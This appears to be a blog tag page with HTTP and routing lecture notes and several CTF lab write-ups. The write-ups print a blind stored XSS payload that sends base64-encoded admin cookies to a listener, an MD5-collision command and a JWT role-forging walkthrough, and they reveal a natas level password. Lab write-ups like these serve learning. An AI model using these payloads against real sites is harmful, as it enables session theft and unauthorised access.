7 posts tagged with "web"

Note: These are notes from HTTP lecture/video by Sriniously : https://youtu.be/a3C1DMswClQ?si=VkYrm___9JAlL3n0

1. Core Principles of HTTP​

HTTP (Hypertext Transfer Protocol) is an application-layer protocol (Layer 7 in the OSI model) used by clients and servers to communicate. It is built on two fundamental ideas:

• Statelessness: The server retains no memory of past interactions. Every request is entirely self-contained and must include all the necessary information (like authentication tokens or cookies) for the server to process it.
  • Benefits: This simplifies server architecture and improves scalability, because a single server doesn't need to keep track of user sessions, and a server crash won't destroy a client's state.
• Client-Server Model: Communication is always initiated by the client (e.g., a web browser) to request resources or actions, and the server waits for these requests to process and respond.

2. Transport Protocol & HTTP Versions​

HTTP relies on a reliable, connection-based transport protocol, almost universally TCP (Transmission Control Protocol). Over the years, HTTP has evolved to improve how these TCP connections are handled:

• HTTP 1.0: Opened a new TCP connection for every single request and response, which was highly inefficient and slow.
• HTTP 1.1: Introduced persistent connections (keep-alive) as the default, allowing multiple requests to be sent over a single reused connection.
• HTTP 2.0: Introduced multiplexing (multiple requests/responses concurrently on one connection), binary framing, header compression, and server push.
• HTTP 3.0: Replaced TCP with QUIC (built over UDP) to establish faster connections and handle packet loss better, eliminating head-of-line blocking.

3. Anatomy of HTTP Messages​

Client-server communication happens via structured text messages.

• Request Message (Client to Server): Contains a Request Method (e.g., GET/POST), the Resource URL, the HTTP version, Host domain, Headers, a blank line, and an optional Request Body.
• Response Message (Server to Client): Contains the HTTP version, a Status Code (e.g., 200), a Status Value (e.g., OK), Headers, a blank line, and the Response Body.

4. HTTP Headers​

Headers are key-value pairs that act as metadata for the package being transmitted, allowing the system to be highly extensible and act as a "remote control" to dictate server behavior.

• Request Headers: Sent by the client to provide context (e.g., User-Agent identifies the browser, Authorization sends credentials).
• General Headers: Apply to both requests and responses (e.g., Date, Connection, Cache-Control).
• Representation Headers: Describe the message body (e.g., Content-Type for media format like JSON/HTML, Content-Length for byte size, Content-Encoding for gzip compression).
• Security Headers: Protect against attacks (e.g., Strict-Transport-Security forces HTTPS, Content-Security-Policy prevents cross-site scripting, Set-Cookie with HTTP-only flags).

5. HTTP Methods and Idempotency​

Methods define the semantic intent of the client's request.

• GET: Fetches data from the server without modifying anything.
• POST: Submits new data to the server (includes a request body).
• PATCH: Partially updates an existing resource.
• PUT: Completely replaces an existing resource with the provided body.
• DELETE: Removes a resource.
• OPTIONS: Inquires about the server's capabilities (used heavily in CORS).

Idempotency is a crucial concept here:

• Idempotent Methods: Can be executed multiple times and yield the exact same result on the server state (e.g., GET, PUT, DELETE).
• Non-Idempotent Methods: Running them multiple times creates different results (e.g., submitting a POST request twice creates two separate resources).

6. Cross-Origin Resource Sharing (CORS)​

Browsers enforce a Same-Origin Policy, blocking web apps from making requests to different domains (origins). CORS is a security mechanism to bypass this safely.

• Simple Requests: (Usually GET or POST with standard headers/content types). The browser automatically adds an Origin header. If the server allows the request, it replies with the Access-Control-Allow-Origin header containing the client's domain (or a * wildcard). If missing, the browser blocks the response.
• Pre-flight Requests: Triggered if a request uses a non-simple method (PUT/DELETE), requires authorization headers, or uses a application/json content type.
  • The browser first fires an OPTIONS request asking the server if the route supports the intended method and headers.
  • The server replies with a 204 No Content status, explicitly listing allowed origins, methods, headers, and a max-age to cache this configuration.
  • If successful, the browser then sends the actual, original request.

7. Standardized Status Codes​

Status codes are three-digit numbers that act as a universal language to indicate the outcome of a request.

• 1xx (Informational): Indicates headers received; client can proceed (e.g., 100 Continue for large uploads).
• 2xx (Success):
  • 200 OK: Successful operation.
  • 201 Created: Usually follows a POST request.
  • 204 No Content: Successful, but no body to return (used in OPTIONS or DELETE).
• 3xx (Redirection):
  • 301 Moved Permanently: The resource has a new URL.
  • 302 Found/Temporary Redirect: Temporarily forward to a new route.
  • 304 Not Modified: Tells the client to use its locally cached version.
• 4xx (Client Errors):
  • 400 Bad Request: Invalid data format sent by client.
  • 401 Unauthorized: Missing or invalid authentication token.
  • 403 Forbidden: Authenticated, but lacks necessary permissions.
  • 404 Not Found: Incorrect URL or deleted resource.
  • 405 Method Not Allowed: Using the wrong method for a route.
  • 409 Conflict: Business logic violation (e.g., duplicate username).
  • 429 Too Many Requests: Client has hit rate limits.
• 5xx (Server Errors):
  • 500 Internal Server Error: An unhandled exception crashed the server.
  • 501 Not Implemented: Feature not yet supported.
  • 502 Bad Gateway / 504 Gateway Timeout: Issues originating from proxies or load balancers failing to reach upstream servers.
  • 503 Service Unavailable: Server down or under maintenance.

8. HTTP Caching​

Caching reuses previously downloaded responses to save bandwidth and load times.

• When a client first fetches a resource, the server responds with the payload alongside three headers: Cache-Control (sets max duration), ETag (a unique hash of the payload), and Last-Modified.
• On subsequent requests, the client sends conditional headers: If-None-Match (carrying the ETag) or If-Modified-Since.
• If the data on the server hasn't changed, the server saves bandwidth by sending an empty 304 Not Modified response, instructing the browser to use its cached copy. If it has changed, it sends a 200 OK with the new data and a new ETag.

9. Content Negotiation and Compression​

Clients and servers can negotiate the best format to exchange data.

• The client sends preferences via Accept (e.g., application/json vs application/xml), Accept-Language (e.g., en vs es), and Accept-Encoding (e.g., gzip).
• The server responds with the appropriate format.
• Compression: By negotiating an encoding like gzip, a server can drastically compress text responses (e.g., shrinking a 26MB JSON payload down to 3.8MB) to save massive amounts of network bandwidth.

10. Handling Large Data Transfers​

• Large Client Uploads (Images/Video): Standard JSON is terrible for binary data. Instead, clients use a multipart/form-data request. This breaks the file into chunks separated by a unique string delimiter defined in the boundary header.
• Large Server Downloads: To prevent timing out, the server streams the file in chunks using Content-Type: text/event-stream and Connection: keep-alive. The browser continually appends these chunks until the transfer finishes.

11. Security (SSL/TLS & HTTPS)​

• TLS (Transport Layer Security): The modern, secure replacement for the outdated SSL protocol.
• It encrypts data in transit to prevent interception (eavesdropping) or tampering, utilizing certificates to verify the server's identity.
• HTTPS: Simply the standard HTTP protocol wrapped inside a secure TLS connection.

Note: These are notes from Routing lecture/video by Sriniously : https://youtu.be/SubuU1iOC2s?si=Rq3nCiC4bbwIVXsI

1. What is Routing?​

• The "What" vs. The "Where": In a backend system, HTTP methods (like GET, POST, DELETE) express the what or the intent of a request (e.g., fetching or adding data). Routing expresses the where—the specific resource or destination you want to apply that action to.
• Definition: Routing is the process of mapping a combination of an HTTP method and a URL path to a specific server-side Handler (a set of instructions or business logic).
• Uniqueness: The server concatenates the HTTP method and the route to form a unique key. For example, a GET request to /api/books and a POST request to /api/books will trigger completely different logic in the server without clashing.

2. Types of Routes​

There are two primary ways to structure a route path:

• Static Routes: These are constant strings that do not contain any variable parameters. For example, /api/books will always stay consistent and point to the same general resource.
• Dynamic Routes: These include variable slots within the URL that the server can extract as data. In most backend frameworks (like Node.js, Python, or Go), these are denoted by a colon, such as /api/users/:id. If a client requests /api/users/123, the server extracts "123" as the ID to fetch that specific user's data.

3. Path Parameters vs. Query Parameters​

When sending data through a URL, backend engineers use two distinct types of parameters:

• Path Parameters (Route Parameters): These are the variables placed directly inside the route's path, right after a forward slash / (e.g., the 123 in /api/users/123). They are used to express semantic meaning, specifically identifying a unique resource.
• Query Parameters: Because GET requests do not have a data body, query parameters are used to send key-value pairs of metadata to the server.
  • Syntax: They are attached to the end of the route after a question mark ? (e.g., /api/search?query=some+value).
  • Use Cases: They are heavily used for pagination (e.g., page=2&limit=20), filtering user-defined values, or determining sorting orders (ascending/descending).

4. Nested Routing​

Nested routing is a standard REST API practice used to express a hierarchy between different resources.

• Semantic Hierarchy: By nesting paths, you create a highly readable, semantic expression of what data you want.
• Example Workflow:
  • /api/users: Fetches a list of all users.
  • /api/users/123: Goes one level deep to fetch a specific user.
  • /api/users/123/posts: Goes another level deep to fetch all posts created by user 123.
  • /api/users/123/posts/456: Fetches one highly specific post (ID 456) belonging to that specific user.

5. Route Versioning and Deprecation​

As applications grow, business requirements change, which might require you to completely alter the format of the data your API returns (e.g., switching the key name to title).

• The Problem: If you change the response format on a live route, you will break the frontend application (like an iOS or React app) currently relying on it.
• The Solution (Versioning): Engineers add version numbers to routes, such as /api/v1/products and /api/v2/products.
• Deprecation: This allows the server to simultaneously support both the old and new data structures. It provides frontend engineers a safe window of time to migrate their code to v2 before the backend team officially deprecates and removes v1.

6. Catch-All Routes​

• Purpose: A catch-all route acts as a safety net for invalid requests.
• How it Works: It is placed at the very end of the server's routing logic, often using a wildcard syntax like /*. If a request trickles down through all the previous route matching algorithms without finding a match, it hits the catch-all.
• Benefit: Instead of the server defaulting to a broken or null response, the catch-all handler cleanly returns a user-friendly "Route Not Found" (404) message to the client.

initial observations​

reading through the problem statement for "when hearts collide," the application's underlying logic became clear. the web app allows you to upload an image, calculates its md5 hash, and then compares that hash against its database to find a "match."

the vulnerability​

the critical flaw here is the application's reliance on md5 to determine file uniqueness. md5 is a deprecated and broken cryptographic hash function that is highly vulnerable to collision attacks. this means an attacker can intentionally generate two entirely different files that produce the exact same md5 hash output.

(for a deeper understanding of how this works, check out this official exploit-db reference: md5 collision of these 2 images is now() trivial and instant)

the exploit​

to exploit this logic flaw, i needed to create an md5 collision using a standard image file. rather than dealing with compiling collision tools locally, i opted to use a pre-built docker container for fastcoll.

• grabbed a random standard jpeg image to use as my base (e.g., fly.jpg).
• spun up the brimstone/fastcoll docker container and passed my image in as a prefix block to generate two new, distinct images (f1.jpg and f2.jpg):

docker run --rm --platform linux/amd64 -v $PWD:/work -w /work brimstone/fastcoll --prefixfile fly.jpg -o f1.jpg f2.jpg

(note: tweak the --platform flag if your local machine's architecture requires it).

the result​

with the two newly generated images in hand, i returned to the web app.

• uploaded f1.jpg to the server.
• immediately followed up by uploading f2.jpg.

because f2.jpg had the exact same md5 hash as f1.jpg but contained different file data, the application's matching logic broke perfectly. boom. the flag popped up on the screen.

the thought process: sniffing out the vulnerability​

when i first opened the lab, i was presented with a matchmaking survey. it asked for standard details like name, age, and what i was seeking.

the real lightbulb moment happened right after hitting the submit button. a pop-up appeared that said something along the lines of .. "your survey would be viewed in short time."

this immediately triggered that if an admin, a bot, or a "matchmaking team" is going to view my answers later, that means two things:

1. my input is being saved to a database somewhere (stored).
2. someone else's browser will render my input on an internal dashboard (blind).

this is the perfect recipe for a blind stored xss attack. if the developers didn't sanitize the inputs before displaying them on the admin panel, i could force the admin's browser to execute malicious javascript and steal their session cookie.

the setup: preparing the trap​

to catch the admin's cookie, i needed a way for their browser to "phone home" to my machine. since i was connected to the tryhackme vpn, i decided to spin up a local server.

first, i had to find my vpn ip. since i am on a mac, standard linux commands didn't show the right interface. i checked my interfaces and found my vpn ip on utun4, which was 192.168.137.132.

next, i started a simple python web server in my terminal to act as my listener. i left this running in the background:

python3 -m http.server 8000

the attack: injecting the payload​

with my listener running, i went back to the survey form. i needed a payload that would grab the admin's cookie, encode it in base64 (to prevent special characters from breaking the url), and send it back to my python server.

i crafted this simple fetch request:

<script>fetch('http://your_vpn_ip:8000/?cookie=' + btoa(document.cookie))</script>

i injected this exact script into the text fields of the survey, such as the "name" field, and submitted the form again.

the result: catching the flag.​

after submitting, i just had to wait and watch my terminal. because it was a blind xss vulnerability, i couldn't see the execution happen on the website itself.

however, within a short time, the background admin bot reviewed my matchmaking survey. the unsanitized page loaded my <script> tag, and my python server terminal lit up with a successful get request containing the base64-encoded cookie.

initial observations​

web applications running on port 5000 are often built with python frameworks like flask. because of this, they frequently store session data—including user roles—directly in a cookie.

the vulnerability​

keeping that in mind, i inspected the site and opened the developer tools.

• navigated to application -> storage -> cookies.
• found a cookie named tryheartme_jwt.
• recognized it as a json web token (jwt).

the exploit​

i copied the cookie's value and headed over to an online tool called jwt.one to mess with the payload.

• changed the "role" parameter from "user" to "admin".
• increased the "credits" just in case i needed them to make the purchase.

after generating the forged token, i pasted it back into the cookie value in my browser and hit refresh.

the result​

boom. admin access gained. the hidden valenflag product finally appeared on the page. all that was left was to purchase it and grab the flag.

HTTP header​

okay let me go through it straight forward

GET /home.html HTTP/1.1
Host: developer.mozilla.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://developer.mozilla.org/testpage.html
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 18 Jul 2016 02:36:04 GMT
If-None-Match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a"
Cache-Control: max-age=0

you might have seen this type of thing in burp suite, if not no problem.
all these things such as User-Agent, Host, Accept etc are called as HTTP header

lame language definition:
they are key-value pair that gives you additional information about the request or the response

now formal definition:
HTTP headers let the client and the server pass additional information with a message in a request or response. [source: mdn]

Request header​

it is a header that can used in HTTP request to provide information about the request context, so that server can tailor the response. for example Accept header tells us which is preferred or allowed format of the response

CORS​

short for cross-origin resource sharing is a system consisting of transferring http header which tells whether the browser blocks frontend javascript code from accessing responses from cross origin requests

some CORS headers are Access-Control-Allow-Origin, Access-Control-Allow-Credentials, etc

Cookies​

these are small pieces of data that web server stores on your browser to remember information between requests .. so question arises why cookies exists? http is stateless .. every request is independent ... server doesnt remember you ... cookies fix that by storing small data on your device so that server can recognize you whenever you revisit
cookies are stored in browsers in small text files and server sends them as Set-Cookie http header.
`

login at :
http://natas0.natas.labs.overthewire.org

username : natas0 password : natas0

solution:​

login to the website and then inspect element you will find the password to next level in comment

so the password is:
0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq

`